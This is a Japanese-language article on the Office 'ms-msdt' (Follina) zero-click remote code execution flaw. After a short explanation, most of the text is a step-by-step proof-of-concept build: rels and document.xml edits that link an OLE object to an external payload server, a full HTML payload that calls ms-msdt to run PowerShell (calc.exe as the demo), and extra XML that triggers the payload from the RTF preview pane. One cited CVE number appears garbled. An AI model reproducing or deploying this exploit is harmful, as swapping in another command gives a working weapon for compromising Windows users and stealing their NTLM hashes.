2022年5月29日、独立したサイバーセキュリティ研究チームであるNao_Secチームは、Virustotalで共有されていた悪意のあるOffice文書を発見しました。この文書は、被害者に感染させるために、異常ではあるが既知のスキームを使用しています。このスキームは、Microsoft Defender for Endpointなどの一部のEDRでは悪意のあるものとして検出されませんでした。この脆弱性は、マクロを必要としないため、ユーザーの操作なしにコード実行を引き起こす可能性があります。ただし、Protected Viewモードが有効な場合を除きます。まだCVE番号は割り当てられていません。
この脆弱性は、MSProtocol URIスキームを使用してコードを読み込むことによって悪用されます。攻撃者は、Microsoft Office文書、テンプレート、または電子メール内に、ms-msdt: で始まる悪意のあるリンクを埋め込む可能性があります。これらのリンクは、後でユーザーの操作なしに読み込まれて実行されます。ただし、Protected Viewモードが有効な場合を除きます。それでも、文書をRTF形式に変換すると、Protected View機能をバイパスすることもできます。
MS Officeのdocxファイルには、外部OLEオブジェクト参照がHTMLファイルとして含まれる場合があります。HTMLスキーム "ms-msdt:" があり、これはmsdt診断ツールを呼び出し、任意のコード(パラメータで指定)を実行できます。
その結果、悪意のあるdocxファイルを開くだけで(マクロを使わずに)RCEを得られるという恐ろしい攻撃ベクトルが生まれます。
概念実証のdocxを構築する手順は次のとおりです:
Word(最新の2019 Pro、16.0.10386.20017を使用)を開き、ダミー文書を作成して、(OLE)オブジェクト(Bitmap Imageとして)を挿入し、docxとして保存します。
docx構造(プレーンなzip)内の word/_rels/document.xml.rels を編集します。属性を持つXMLタグ <Relationship> を変更します。
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
そして、Target="embeddings/oleObject1.bin" について、Target の値を変更し、属性 TargetMode を追加します:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Idの値に注意してください(おそらく "rId5" です)。
word/document.xml を編集します。<o:OLEObject ..> タグ(r:id="rId5" 付き)を検索し、属性を Type="Embed" から Type="Link" に変更し、属性 UpdateMode="OnCall" を追加します。注:作成された悪意のあるdocxは、CVE-2021-44444 のものとほぼ同じです。
http://<payload_server>/payload.html で配信します:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
次の点に注意してください:
さらに、トリガーペイロードはリモートの場所に接続できます。信頼されていないバイナリを呼び出す可能性は低いですが、接続にはNTLMハッシュが依然として含まれます(これは、悪意のある行為者が被害者のWindowsパスワードのハッシュを入手できることを意味します)。これは、攻撃者がさらなる侵害後の活動に使用する可能性があります。
手順3で word/document.xml の <o:OLEObject> 要素の下に次の要素も追加すると、
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
RTFとしても機能します(結果のdocxを開いてRTFとして保存します)。
RTFの場合、Wordでファイルを開く必要はなく、ファイルを参照してプレビューウィンドウで表示するだけで十分です。プレビューウィンドウが外部HTMLペイロードをトリガーし、クリックなしでRCEが発生します。